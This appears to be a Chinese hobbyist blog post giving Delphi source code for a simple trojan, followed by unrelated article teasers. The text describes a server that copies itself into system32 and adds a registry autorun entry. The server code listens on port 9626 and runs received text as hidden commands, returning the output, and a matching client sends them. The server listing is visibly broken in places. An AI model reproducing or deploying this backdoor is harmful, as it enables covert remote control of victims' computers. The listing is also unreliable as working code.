今天晚上無聊寫著玩的,如果你是高手就別看了,免得我丟人。本文章只適合初學delphi小菜。
剛學電腦時很喜歡網路安全,看著高手們寫的乙個又乙個攻擊工具,自己也總想努力去學好程式設計去寫屬於自己的程式。學delphi快一年了,感覺什麼都沒學到,慚愧啊。今晚突然想學著寫木馬,於是手忙腳亂的敲了點**,超簡單,願自己能越寫越好!!!
程式跟傳統木馬一樣,分服務端和客戶端。執行服務端後會複製自身到system32目錄下面,並在登錄檔新增一自動行啟動項,開啟本機9626埠開始等待接收客戶端的資料。當接收到客戶端資料時就當作cmd命令去執行,最後把回顯傳送回客戶端。客戶端很簡單,跟服務端連線成功後,輸入命令點執行,正常的話可以收到服務端的執行結果了。
原始碼如下:
server.pas//
unit utmain;
inte***ce
uses
windows, messages, sysutils, variants, classes, graphics, controls, forms,
dialogs, registry, scktcomp, stdctrls;
type
tfmmain = class(tform)
ss: tserversocket;
memo1: tmemo;
procedure formcreate(sender: tobject);
procedure ssaccept(sender: tobject; socket: tcustomwinsocket);
procedure ssclientread(sender: tobject; socket: tcustomwinsocket);
private
public
end;
varfmmain: tfmmain;
reg:tregistry;
implementation
ss.port:=9626;
tryss.active:=true;
except
end;
end;
procedure tfmmain.ssaccept(sender: tobject; socket: tcustomwinsocket);
begin
socket.sendtext('連線成功'); //發現有連線時回傳『連線成功 』
end;
procedure tfmmain.ssclientread(sender: tobject; socket: tcustomwinsocket);
varremotecmd:string;
hreadpipe,hwritepipe:thandle;
si:startupinfo;
lsa:security_attributes;
pi:process_information;
cchreadbuffer:dword;
ph:pchar;
fname:pchar;
res:string;
begin
memo1.clear;
remotecmd:=socket.receivetext;
fname:=allocmem(255);
ph:=allocmem(5000);
lsa.nlength :=sizeof(security_attributes);
lsa.lpsecuritydescriptor :=nil;
lsa.binherithandle :=true;
if createpipe(hreadpipe,hwritepipe,@lsa,0)=false then
begin
socket.sendtext('不能建立管道');
exit;
end;
fillchar(si,sizeof(startupinfo),0);
si.cb:=sizeof(startupinfo);
si.dwflags:=(startf_usestdhandles or startf_useshowwindow);
si.wshowwindow:=sw_hide;
si.hstdoutput:=hwritepipe;
strpcopy(fname,remotecmd);
/執行cmd命令
if createprocess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=false then
begin
socket.sendtext('不能建立程序');
freemem(ph);
freemem(fname);
exit;
end;
while(true) do
begin
if not peeknamedpipe(hreadpipe,ph,1,@cchreadbuffer,nil,nil) then break;
if cchreadbuffer<>0 then
begin
if readfile(hreadpipe,ph^,4096,cchreadbuffer,nil)=false then break;
ph[cchreadbuffer]:=chr(0);
memo1.lines.add(ph);
endelse
if(waitforsingleobject(pi.hprocess ,0)=wait_object_0) then break;
sleep(100);
end;
ph[cchreadbuffer]:=chr(0);
memo1.lines.add(ph); //memo接收回顯
closehandle(hreadpipe);
closehandle(pi.hthread);
closehandle(pi.hprocess);
closehandle(hwritepipe);
freemem(ph);
freemem(fname);
socket.sendtext(memo1.text); ///將回顯傳送回客戶端
end;
end.
//客戶端/
unit utmain;
inte***ce
uses
windows, messages, sysutils, variants, classes, graphics, controls, forms,
dialogs, olectrls, shdocvw, stdctrls, idbasecomponent, idcomponent,
idudpbase, idudpserver, buttons, tlhelp32, scktcomp;
type
tfmmain = class(tform)
webbrowser1: twebbrowser;
label3: tlabel;
edit2: tedit;
label4: tlabel;
edit3: tedit;
button2: tbutton;
cs: tclientsocket;
edit4: tedit;
label5: tlabel;
memo1: tmemo;
bitbtn2: tbitbtn;
procedure button2click(sender: tobject);
procedure csread(sender: tobject; socket: tcustomwinsocket);
procedure bitbtn2click(sender: tobject);
private
public
end;
varfmmain: tfmmain;
implementation
procedure tfmmain.button2click(sender: tobject);
begin
cs.host:=edit2.text;
cs.port:=strtoint(edit3.text);
cs.open;
end;
procedure tfmmain.csread(sender: tobject; socket: tcustomwinsocket);
begin
memo1.clear;
memo1.lines.add(socket.receivetext);
memo1.lines.add('');
end;
procedure tfmmain.bitbtn2click(sender: tobject);
begin
cs.socket.sendtext(edit4.text);
end;
end.
delphi技術 打造乙個自己的網路電視機
在進入delphi程式設計之前,要做好以下的準備工作 一 先蒐集各個電視台訊號的位址 二 設計好電視機的外框 三 設定程式設計環境 win98 xp mediaplayer9.0 delphi6.0中文版。你的電腦必須要安裝mediaplayer9.0版和realplayer軟體。四 引入控制項 在...
打造自己的簡易HTML Editor
href ms help hx hxruntime hxlink.css type text css rel stylesheet html的很多控制項都提供乙個叫contenteditable 首先定義乙個div,並設定contenteditable true 接著需要有一些命令來操作這個div ...
打造自己的php框架
自己打造php框架,首先要對自己的框架定位,為什麼現在已經有這麼多非常成熟的框架而不用,要用自己的php框架。1 為了更快的開發效率 2 為了更高的執行效率 3 彰顯出自己的實力 一 框架流程 要想打造乙個自己的php框架還要了解框架的執行流程 入口檔案 定義常量 引入函式庫 自動載入類 啟動框架 ...